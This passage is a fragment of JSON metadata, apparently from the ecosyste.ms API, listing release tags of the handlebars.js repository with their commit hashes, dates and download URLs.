tar.gz/v4.2.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.2.2/manifests"},{"name":"v4.3.5","sha":"e96c1a5d86d8b2e8b152578fa37d5cdebc2964a3","kind":"tag","published_at":"2019-10-02T20:05:02.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.3.5","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.5/manifests"},{"name":"v4.4.1","sha":"b8e769fcb624664a6bc7114c8739c2438d46dbe9","kind":"tag","published_at":"2019-10-02T19:52:34.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.4.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"059b33057925ebda96536421cfc7c4c75e5c61e3","kind":"tag","published_at":"2019-09-29T13:29:13.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.4.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.4.0/manifests"},{"name":"v4.3.4","sha":"c958cc89550ca411a78fefa426b0acee80c702eb","kind":"tag","published_at":"2019-09-28T11:25:05.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.3.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.4/manifests"},{"name":"v4.3.3","sha":"e4738491b3e8db97aa9b4f9967f04093ceba1a1f","kind":"tag","published_at":"2019-09-27T05:46:55.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.3.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.3/manifests"},{"name":"v4.3.2","sha":"2357140c68d17cb4f8ab74431e8737de6b4b39b5","kind":"tag","published_at":"2019-09-26T21:58:48.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.3.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"050cca0866b3496852d9b198141807c32e4dae81","kind":"tag","published_at":"2019-09-24T22:32:32.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.3.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"a89081d440a9da9f3f25835f47de837907b0094a","kind":"tag","published_at":"2019-09-24T06:04:35.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.3.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"fff3e40402c9f9cd790984560658646a26e1c930","kind":"tag","published_at":"2019-09-20T17:40:48.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.2.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"164c7ceea4ce074f70f2fefeba81e2e551757ea6","kind":"tag","published_at":"2019-09-03T19:58:07.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.2.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.2.0/manifests"},{"name":"v4.1.2-0","sha":"f98c6a54256fec0b36ae1adc4c36ab5412ca3b88","kind":"tag","published_at":"2019-08-25T16:06:35.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.1.2-0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.1.2-0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.1.2-0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.2-0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.2-0/manifests"},{"name":"v3.0.7","sha":"55e4d9d80d5dd834fcf53c528e7e0aa080f315a5","kind":"tag","published_at":"2019-06-30T08:53:59.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.7","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.7/manifests"},{"name":"v4.0.14","sha":"272362e44c66d0110a4c98c7c1d121971ce447a7","kind":"tag","published_at":"2019-04-13T14:39:19.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.14","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.14/manifests"},{"name":"v4.1.2","sha":"10b5fcf92e6f3ddcbcec93c05c00cfdbb2e8d303","kind":"tag","published_at":"2019-04-13T14:19:22.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.1.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.2/manifests"},{"name":"v4.1.1","sha":"f691db546e7563e1db3437d5a72f478f9e556714","kind":"tag","published_at":"2019-03-16T21:28:38.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.1.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.1/manifests"},{"name":"v4.0.13","sha":"9d4fff19d438a390b4e34d0a175b2de5f196cea8","kind":"tag","published_at":"2019-02-07T10:26:00.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.13","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.13/manifests"},{"name":"v4.1.0","sha":"7caca944b1ae64b5bc11cba67d21e4b51ba6196a","kind":"tag","published_at":"2019-02-07T09:46:32.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.1.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.1.0/manifests"},{"name":"v4.0.13-beta.0","sha":"616f8c6fdb8b4224e5ab742e0ae400cfbc74086f","kind":"tag","published_at":"2019-02-02T20:26:35.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.13-beta.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.13-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.13-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.13-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.13-beta.0/manifests"},{"name":"v4.0.13-0","sha":"0e56659f7bc9d5060bf791d58fd57c5f9a82ae17","kind":"tag","published_at":"2019-02-02T20:25:22.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.13-0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.13-0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.13-0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.13-0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.13-0/manifests"},{"name":"v3.0.6","sha":"5a427d2d2b7264a83ca6702fddf63a6c7ba281c4","kind":"tag","published_at":"2019-01-02T09:17:56.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.6","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.6/manifests"},{"name":"v3.0.5","sha":"64254b604b9d7fdf76d40b9c6675326eb4bda42b","kind":"tag","published_at":"2018-12-15T13:16:13.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.5","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"698c8a93a4066937977503d338bcd3b90d5035ca","kind":"tag","published_at":"2018-12-15T12:55:00.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.4/manifests"},{"name":"v4.0.12","sha":"8d22e6f501dc0720fe0610bb4dab60cae18e7d20","kind":"tag","published_at":"2018-09-04T18:44:38.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.12","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.12/manifests"},{"name":"v4.0.11","sha":"1e954ddf3c3ec6d2318e1fadc5e03aaf065b2fbd","kind":"tag","published_at":"2017-10-17T20:52:25.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.11","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.11/manifests"},{"name":"v4.0.10","sha":"670ec6fafbf99986a70074a37f73d41bad60b083","kind":"tag","published_at":"2017-05-21T12:11:27.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.10","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.10/manifests"},{"name":"v4.0.9","sha":"5ec78a8c70ac674f39a8408e04d59bd40340f6fe","kind":"tag","published_at":"2017-05-21T11:39:05.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.9","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.9/manifests"},{"name":"v4.0.8","sha":"fed5818876ec325b2b48a61395fe0089bdda05e8","kind":"commit","published_at":"2017-05-02T20:55:44.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.8","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.8/manifests"},{"name":"v4.0.7","sha":"606fa55b0a2fab4b22b810a21fc9ae1fd5fd8430","kind":"tag","published_at":"2017-04-29T20:52:09.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.7","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.7/manifests"},{"name":"tmp-1252-backup","sha":"ee913e28bd34dc6e97f98a99f00b484195f72d6f","kind":"commit","published_at":"2017-01-02T09:13:49.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/tmp-1252-backup","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/tmp-1252-backup","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@tmp-1252-backup","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/tmp-1252-backup","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/tmp-1252-backup/manifests"},{"name":"v4.0.6","sha":"ad3037cf54132fc5f589134d3bef961a5f751973","kind":"commit","published_at":"2016-11-12T18:32:45.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.6","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.6/manifests"},{"name":"v4.0.5","sha":"205c61cfb1acdb599bbdfcf2d356641254e09e5c","kind":"tag","published_at":"2015-11-20T05:06:54.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.5","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.5/manifests"},{"name":"v4.0.4","sha":"b7c95e9feb9b641af2fe83b23c3341ec624aae80","kind":"tag","published_at":"2015-10-29T06:54:17.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.4","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.4/manifests"},{"name":"v4.0.3","sha":"9365b8290070f34bf797c836aed4335ce6a4094f","kind":"tag","published_at":"2015-09-24T03:41:14.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.3/manifests"},{"name":"v4.0.2","sha":"a5a3ab01d3659b996234e3fa5a4a32350a145096","kind":"tag","published_at":"2015-09-04T14:13:16.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"c7b28a65dab1f1bb370f258fd65796d74c7b53cb","kind":"tag","published_at":"2015-09-03T02:21:36.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"bff5fab8f9d42e21950be00dcf1cedf4dc1a565b","kind":"tag","published_at":"2015-09-01T13:19:14.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v4.0.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v4.0.0/manifests"},{"name":"v3.0.3","sha":"891f48b7e9c321dd9cbe7a898533eb6b2434b8a0","kind":"tag","published_at":"2015-04-28T19:52:04.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.3","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"2f0b86665f6080c065d67182ccfdca2ce6f243fa","kind":"tag","published_at":"2015-04-20T08:11:12.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.2","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"afe730e0594440dd17fdc43271fc4a7db19327f3","kind":"tag","published_at":"2015-03-24T19:22:38.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"0099e16a01bae4789c3560e2a658fdd7fecc9e12","kind":"tag","published_at":"2015-02-10T06:14:55.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v3.0.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v3.0.0/manifests"},{"name":"v2.0.0","sha":"1eb2b04aa1468059172af16968e28ba3a9c07e6d","kind":"tag","published_at":"2014-09-02T02:28:59.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v2.0.0","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/tags/v2.0.0/manifests"},{"name":"v2.0.0-beta.1","sha":"cee52ea68f85baf6812cbc6d303595a88b4ea4f8","kind":"tag","published_at":"2014-08-26T23:32:38.000Z","download_url":"https://codeload.github.com/handlebars-lang/handlebars.js/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/handlebars-lang/handlebars.js@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/